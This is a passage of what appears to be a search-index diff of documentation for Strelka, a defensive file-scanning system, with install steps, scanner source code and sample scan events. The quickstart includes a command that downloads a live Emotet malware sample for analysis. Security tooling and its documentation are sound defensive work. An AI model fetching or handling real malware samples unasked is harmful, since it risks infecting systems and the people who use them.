"},{"location":"Strelka/StrelkaUseCases.html","title":"Use Cases","text":""}]} \ No newline at end of file +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"]},"docs":[{"location":"index.html","title":"Strelka","text":"Strelka is a real-time, container-based file scanning system used for threat hunting, threat detection, and incident response. Originally based on the design established by Lockheed Martin's Laika BOSS and similar projects, Strelka's purpose is to perform file extraction and metadata collection at enterprise scale.
Strelka differs from its sibling projects in a few significant ways:
Strelka can be installed on any system that can run containers. For convenience, the project ships with docker-compse configuration files for standing up a \"quickstart\" cluster (found under the build/ directory). We do not recommend using and do not plan to support OS-native installations.
Strelka's core client apps are written in Go and can be run natively on a host or inside of a container. The following are multiple ways to install each of the apps.
"},{"location":"GettingStarted/GettingStartedInstallation.html#strelka-fileshot-build","title":"strelka-fileshot (build)","text":"go build github.com/target/strelka/src/go/cmd/strelka-fileshot\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-fileshot/\ngo build -o strelka-fileshot .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/fileshot/Dockerfile -t strelka-fileshot .\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-oneshot/\ngo build -o strelka-oneshot .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/oneshot/Dockerfile -t strelka-oneshot .\ngo build github.com/target/strelka/src/go/cmd/strelka-filestream\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-filestream/\ngo build -o strelka-filestream .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/filestream/Dockerfile -t strelka-filestream .\nStrelka's core server components are written in Go and Python 3.9+ and are run from containers. The simplest way to run them is to use docker-compose -- see build/docker-compose.yaml for a sample configuration.
Clone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the cluster ```sh cd /opt/strelka/ docker-compose -f build/docker-compose.yaml up -d
By default, Strelka is configured to use a minimal \"quickstart\" deployment that allows users to test the system. This configuration is not recommended for production deployments, but may suffice for environments with very low file volume (<50k files per day).
Using two Terminal windows, do the following:
"},{"location":"GettingStarted/GettingStartedQuickstart.html#quickstart-steps","title":"Quickstart Steps","text":""},{"location":"GettingStarted/GettingStartedQuickstart.html#step-1-install-prerequisites","title":"Step 1: Install Prerequisites","text":"# Ubuntu 23.04\nsudo apt install -y wget git docker docker-compose golang jq && \\\nsudo usermod -aG docker $USER && \\\nnewgrp docker\ngit clone https://github.com/target/strelka.git && \\\ncd strelka\nrm configs/python/backend/yara/rules.yara && \\\ngit clone https://github.com/Yara-Rules/rules.git configs/python/backend/yara/rules/ && \\\necho 'include \"./rules/index.yar\"' > configs/python/backend/yara/rules.yara\nStrelka UI: Skip Go Build
You can skip the go build process and use the Strelka UI at http://0.0.0.0:9980 to analyze files.
docker-compose -f build/docker-compose-no-build.yaml up -d && \\\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nStrelka UI: Skip Go Build
You can skip the go build process and use the Strelka UI at http://0.0.0.0:9980 to analyze files.
docker-compose -f build/docker-compose.yaml build && \\\ndocker-compose -f build/docker-compose.yaml up -d && \\\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nUse any malware sample, or other file you'd like Strelka to analyze.
wget https://github.com/ytisf/theZoo/raw/master/malware/Binaries/Win32.Emotet/Win32.Emotet.zip -P samples/\n./strelka-oneshot -f samples/Win32.Emotet.zip -l - | jq\nScanEncryptedZip used a dictionary to crack the ZIP file password, and extract the compressed fileScanPe dissected the EXE file and added useful metadata to the outputScanYara analyzed the EXE file, using the provided rules, and added numerous matches to the output, some indicating the file might be maliciousThe following output has been edited for brevity.
{\n \"file\": {\n \"depth\": 0,\n \"flavors\": {\n \"mime\": [\"application/zip\"],\n \"yara\": [\"encrypted_zip\", \"zip_file\"]\n },\n \"scanners\": [\n \"ScanEncryptedZip\",\n \"ScanEntropy\",\n \"ScanFooter\",\n \"ScanHash\",\n \"ScanHeader\",\n \"ScanYara\",\n \"ScanZip\"\n ]\n },\n \"scan\": {\n \"encrypted_zip\": {\n \"cracked_password\": \"infected\",\n \"elapsed\": 0.114269,\n \"total\": {\"extracted\": 1, \"files\": 1}\n }\n }\n}\n{\n \"file\": {\n \"depth\": 1,\n \"flavors\": {\n \"mime\": [\"application/x-dosexec\"],\n \"yara\": [\"mz_file\"]\n },\n \"name\": \"29D6161522C7F7F21B35401907C702BDDB05ED47.bin\",\n \"scanners\": [\n \"ScanEntropy\",\n \"ScanFooter\",\n \"ScanHash\",\n \"ScanHeader\",\n \"ScanPe\",\n \"ScanYara\"\n ]\n },\n \"scan\": {\n \"pe\": {\n \"address_of_entry_point\": 5168,\n \"base_of_code\": 4096,\n \"base_of_data\": 32768,\n \"checksum\": 47465,\n \"compile_time\": \"2015-03-31T08:53:51\",\n \"elapsed\": 0.013076,\n \"file_alignment\": 4096,\n \"file_info\": {\n \"company_name\": \"In CSS3\",\n \"file_description\": \"Note: In CSS3, the text-decoration property is a shorthand property for text-decoration-line, text-decoration-color, and text-decoration-style, but this is currently.\",\n \"file_version\": \"1.00.0065\",\n \"fixed\": {\"operating_systems\": [\"WINDOWS32\"]},\n \"internal_name\": \"Callstb\",\n \"original_filename\": \"NOFAstb.exe\",\n \"product_name\": \"Goodreads\",\n \"product_version\": \"1.00.0065\",\n \"var\": {\"character_set\": \"Unicode\", \"language\": \"U.S. English\"}\n }\n },\n \"yara\": {\n \"elapsed\": 0.068918,\n \"matches\": [\n \"SEH__vba\",\n \"SEH_Init\",\n \"Big_Numbers1\",\n \"IsPE32\",\n \"IsWindowsGUI\",\n \"HasOverlay\",\n \"HasRichSignature\",\n \"Microsoft_Visual_Basic_v50v60\",\n \"Microsoft_Visual_Basic_v50\",\n \"Microsoft_Visual_Basic_v50_v60\",\n \"Microsoft_Visual_Basic_v50_additional\",\n \"Microsoft_Visual_Basic_v50v60_additional\"\n ],\n \"tags\": [\n \"AntiDebug\",\n \"SEH\",\n \"Tactic_DefensiveEvasion\",\n \"Technique_AntiDebugging\",\n \"SubTechnique_SEH\",\n \"PECheck\",\n \"PEiD\"\n ]\n }\n }\n}\nStrelka's UI is available when you build the provided containers. This web interface allows you to upload files to Strelka and capture the events, which are stored locally.
Navigate to http://localhost:9980/ and use the login strelka/strelka.
"},{"location":"Scanners/ScanAntiword.html","title":"ScanAntiword","text":"Extracts text from MS Word document files.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_antiword.py class ScanAntiword(strelka.Scanner):\n \"\"\"Extracts text from MS Word document files.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n (stdout, stderr) = subprocess.Popen(\n [\"antiword\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate()\n\n if stdout:\n # Send extracted file back to Strelka\n self.emit_file(stdout, name=\"text\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanAntiword.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanAntiword.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanAntiword.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner antiword
"},{"location":"Scanners/ScanBase64.html","title":"ScanBase64","text":"Decodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_base64.py class ScanBase64(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n decoded = base64.b64decode(data)\n\n self.event[\"size\"] = len(decoded)\n\n # Send extracted file back to Strelka\n self.emit_file(decoded)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBase64.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanBase64.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanBase64.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4007}\nDecodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_base64_pe.py class ScanBase64Pe(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n with io.BytesIO(data) as encoded_file:\n extract_data = b\"\"\n\n try:\n extract_data = base64.b64decode(encoded_file.read())\n self.event[\"decoded_header\"] = extract_data[:50]\n except binascii.Error:\n self.flags.append(\"not_decodable_from_base64\")\n\n if extract_data:\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBase64Pe.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanBase64Pe.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedecoded_header bytes elapsed str flags list"},{"location":"Scanners/ScanBase64Pe.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"decoded_header\": b\"MZ\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n }\nCollects metadata from batch script files.
Pygments is used as a lexer and the tokenized data is appended as metadata.
Attributes:
Name Type Descriptionlexer Pygments lexer ('batch') used to parse the file.
Source code instrelka/src/python/strelka/scanners/scan_batch.py class ScanBatch(strelka.Scanner):\n \"\"\"Collects metadata from batch script files.\n\n Pygments is used as a lexer and the tokenized data is appended as metadata.\n\n Attributes:\n lexer: Pygments lexer ('batch') used to parse the file.\n \"\"\"\n\n def init(self):\n self.lexer = lexers.get_lexer_by_name(\"batch\")\n\n def scan(self, data, file, options, expire_at):\n highlight = pygments.highlight(\n data,\n self.lexer,\n formatters.RawTokenFormatter(),\n )\n highlight_list = highlight.split(b\"\\n\")\n\n ordered_highlights = []\n for hl in highlight_list:\n split_highlight = hl.split(b\"\\t\")\n if len(split_highlight) == 2:\n token = split_highlight[0].decode()\n value = split_highlight[1].decode().strip(\"'\\\"\").strip()\n highlight_entry = {\"token\": token, \"value\": value}\n if highlight_entry[\"value\"]:\n ordered_highlights.append(highlight_entry)\n\n self.event.setdefault(\"tokens\", [])\n self.event.setdefault(\"comments\", [])\n self.event.setdefault(\"keywords\", [])\n self.event.setdefault(\"labels\", [])\n self.event.setdefault(\"strings\", [])\n self.event.setdefault(\"text\", [])\n self.event.setdefault(\"variables\", [])\n\n position = 0\n while position < len(ordered_highlights):\n ohlp = ordered_highlights[position]\n if ohlp[\"token\"] not in self.event[\"tokens\"]:\n self.event[\"tokens\"].append(ohlp[\"token\"])\n if ohlp[\"token\"] == \"Token.Comment.Single\":\n if ohlp[\"value\"] not in self.event[\"comments\"]:\n self.event[\"comments\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Keyword\":\n if ohlp[\"value\"] not in self.event[\"keywords\"]:\n self.event[\"keywords\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Name.Label\":\n if ohlp[\"value\"] not in self.event[\"labels\"]:\n self.event[\"labels\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Literal.String.Double\":\n if ohlp[\"value\"] not in self.event[\"strings\"]:\n self.event[\"strings\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Literal.String.Single\":\n if ohlp[\"value\"] not in self.event[\"strings\"]:\n self.event[\"strings\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Text\":\n if ohlp[\"value\"] not in self.event[\"text\"]:\n self.event[\"text\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Name.Variable\":\n if ohlp[\"value\"] not in self.event[\"variables\"]:\n self.event[\"variables\"].append(ohlp[\"value\"])\n position += 1\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBatch.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebatch_file text/x-msdos-batch"},{"location":"Scanners/ScanBatch.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomments list elapsed str flags list keywords list labels list strings list text list tokens list variables list"},{"location":"Scanners/ScanBatch.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"tokens\": [\n \"Token.Punctuation\",\n \"Token.Keyword\",\n \"Token.Text\",\n \"Token.Name.Variable\",\n \"Token.Literal.String.Double\",\n \"Token.Operator\",\n \"Token.Comment.Single\",\n \"Token.Name.Label\",\n ],\n \"comments\": [\n \"REM Simple batch script for calling avrdude with options for USBtinyISP\",\n \"REM (C) 2012, 2013 Michael Bemmerl\",\n \"REM License: WTFPL-2.0\",\n ],\n \"keywords\": [\"echo\", \"SETLOCAL\", \"SET\", \"IF\", \"NOT\", \"GOTO\"],\n \"labels\": [\"help\", \"exit\"],\n \"strings\": [\"avrdude\", \"\\\\\\\\bin\\\\\\\\avrdude.exe\"],\n \"text\": [\n \"off\",\n \"\\\\n\",\n \"\\\\n\\\\n\",\n \"-c\",\n \"usbtiny\",\n \"-P\",\n \"usb\",\n \"You\",\n \"probably\",\n \"want\",\n \"to\",\n \"add\",\n \"at\",\n \"least\",\n \"the\",\n \"part\",\n \"option\",\n \"-p\",\n \"[partno]\",\n \".\",\n \"and\",\n \"some\",\n \"other\",\n \"AVRDUDE\",\n \"command\",\n \"line\",\n \"like\",\n \"-U\",\n \"flash:w:[file]\",\n ],\n \"variables\": [\"AVRDUDE\", \"%AVR32_HOME%\", \"%1\", \"%AVRDUDE%\", \"%*\"],\n }\nTake the data of the BMP image, parse it, and determine if data is stored beyond the expected marker.
Source code instrelka/src/python/strelka/scanners/scan_bmp_eof.py class ScanBmpEof(strelka.Scanner):\n \"\"\"\n Take the data of the BMP image, parse it, and determine if data is stored beyond\n the expected marker.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n expectedSize = int.from_bytes(data[2:6], \"little\")\n actualSize = len(data)\n if expectedSize != actualSize:\n self.event[\"trailer_index\"] = expectedSize\n trailer_bytes_data = data[expectedSize:]\n self.event[\"BMP_EOF\"] = data[expectedSize:]\n\n # Send extracted file back to Strelka\n self.emit_file(trailer_bytes_data)\n else:\n self.flags.append(\"no_trailer\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBmpEof.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / ExcludeScanTranscode bmp_file image/x-ms-bmp"},{"location":"Scanners/ScanBmpEof.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field TypeBMP_EOF bytes elapsed str flags list trailer_index int"},{"location":"Scanners/ScanBmpEof.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"trailer_index\": 249954,\n \"BMP_EOF\": b'MZ\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\t\\xcd!\\xb8\\x01L\\xcd!This program cannot be run in DOS mode.\\r\\r\\n$\\x00\\x00\\x00\\x00\\x00\\x00\\x00PE\\x00\\x00d\\x86\\x02\\x00\\xbcs\\x12\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\"\\x00\\x0b\\x020\\x00\\x00\\x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00@\\x01\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00@\\x85\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\xc0\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00,&\\x00\\x008\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.text\\x00\\x00\\x00\\xcf\\x06\\x00\\x00\\x00 \\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00`.rsrc\\x00\\x00\\x00\\xc0\\x05\\x00\\x00\\x00@\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00\\x02\\x00\\x05\\x00\\\\ \\x00\\x00\\xd0\\x05\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.r\\x01\\x00\\x00p(\\x0f\\x00\\x00\\n*\\x1e\\x02(\\x10\\x00\\x00\\n*BSJB\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00v4.0.30319\\x00\\x00\\x00\\x00\\x05\\x00l\\x00\\x00\\x00\\xcc\\x01\\x00\\x00#~\\x00\\x008\\x02\\x00\\x00X\\x02\\x00\\x00#Strings\\x00\\x00\\x00\\x00\\x90\\x04\\x00\\x00\\x1c\\x00\\x00\\x00#US\\x00\\xac\\x04\\x00\\x00\\x10\\x00\\x00\\x00#GUID\\x00\\x00\\x00\\xbc\\x04\\x00\\x00\\x14\\x01\\x00\\x00#Blob\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x01G\\x15\\x00\\x00\\t\\x00\\x00\\x00\\x00\\xfa\\x013\\x00\\x16\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x95\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\n\\x01\\x1c\\x02\\x06\\x00w\\x01\\x1c\\x02\\x06\\x00>\\x00\\xea\\x01\\x0f\\x00<\\x02\\x00\\x00\\x06\\x00f\\x00\\xd2\\x01\\x06\\x00\\xed\\x00\\xd2\\x01\\x06\\x00\\xce\\x00\\xd2\\x01\\x06\\x00^\\x01\\xd2\\x01\\x06\\x00*\\x01\\xd2\\x01\\x06\\x00C\\x01\\xd2\\x01\\x06\\x00}\\x00\\xd2\\x01\\x06\\x00R\\x00\\xfd\\x01\\x06\\x000\\x00\\xfd\\x01\\x06\\x00\\xb1\\x00\\xd2\\x01\\x06\\x00\\x98\\x00\\xa4\\x01\\x06\\x00P\\x02\\xc6\\x01\\x06\\x00\\x1e\\x00\\xc6\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\xbe\\x01\\x13\\x00A\\x00\\x01\\x00\\x01\\x00H \\x00\\x00\\x00\\x00\\x91\\x00\\xcd\\x01(\\x00\\x01\\x00T \\x00\\x00\\x00\\x00\\x86\\x18\\xe4\\x01\\x06\\x00\\x02\\x00\\x00\\x00\\x01\\x00K\\x02\\t\\x00\\xe4\\x01\\x01\\x00\\x11\\x00\\xe4\\x01\\x06\\x00\\x19\\x00\\xe4\\x01\\n\\x00)\\x00\\xe4\\x01\\x10\\x001\\x00\\xe4\\x01\\x10\\x009\\x00\\xe4\\x01\\x10\\x00A\\x00\\xe4\\x01\\x10\\x00I\\x00\\xe4\\x01\\x10\\x00Q\\x00\\xe4\\x01\\x10\\x00Y\\x00\\xe4\\x01\\x10\\x00a\\x00\\xe4\\x01\\x15\\x00i\\x00\\xe4\\x01\\x10\\x00q\\x00\\xe4\\x01\\x10\\x00y\\x00\\xe4\\x01\\x10\\x00\\x89\\x00&\\x00\\x1a\\x00\\x81\\x00\\xe4\\x01\\x06\\x00.\\x00\\x0b\\x00.\\x00.\\x00\\x13\\x007\\x00.\\x00\\x1b\\x00V\\x00.\\x00#\\x00_\\x00.\\x00+\\x00o\\x00.\\x003\\x00o\\x00.\\x00;\\x00u\\x00.\\x00C\\x00_\\x00.\\x00K\\x00|\\x00.\\x00S\\x00o\\x00.\\x00[\\x00o\\x00.\\x00c\\x00\\x95\\x00.\\x00k\\x00\\xbf\\x00.\\x00s\\x00\\xcc\\x00\\x04\\x80\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<Module>\\x00mscorlib\\x00HelloWorld\\x00Console\\x00WriteLine\\x00GuidAttribute\\x00DebuggableAttribute\\x00ComVisibleAttribute\\x00AssemblyTitleAttribute\\x00AssemblyTrademarkAttribute\\x00TargetFrameworkAttribute\\x00AssemblyFileVersionAttribute\\x00AssemblyConfigurationAttribute\\x00AssemblyDescriptionAttribute\\x00CompilationRelaxationsAttribute\\x00AssemblyProductAttribute\\x00AssemblyCopyrightAttribute\\x00AssemblyCompanyAttribute\\x00RuntimeCompatibilityAttribute\\x00HelloWorld.exe\\x00System.Runtime.Versioning\\x00Program\\x00System\\x00Main\\x00System.Reflection\\x00.ctor\\x00System.Diagnostics\\x00System.Runtime.InteropServices\\x00System.Runtime.CompilerServices\\x00DebuggingModes\\x00args\\x00Object\\x00\\x00\\x00\\x17H\\x00e\\x00l\\x00l\\x00o\\x00 \\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x00v\\x0e\\xa4Et\\\\\\xa8L\\x98\\xd0lw\\xcc\\x08\\xd7O\\x00\\x04 \\x01\\x01\\x08\\x03 \\x00\\x01\\x05 \\x01\\x01\\x11\\x11\\x04 \\x01\\x01\\x0e\\x04 \\x01\\x01\\x02\\x04\\x00\\x01\\x01\\x0e\\x08\\xb7z\\\\V\\x194\\xe0\\x89\\x05\\x00\\x01\\x01\\x1d\\x0e\\x08\\x01\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x1e\\x01\\x00\\x01\\x00T\\x02\\x16WrapNonExceptionThrows\\x01\\x08\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x01\\x00\\nHelloWorld\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x06\\x01\\x00\\x01.\\x00\\x00\\x18\\x01\\x00\\x13Copyright 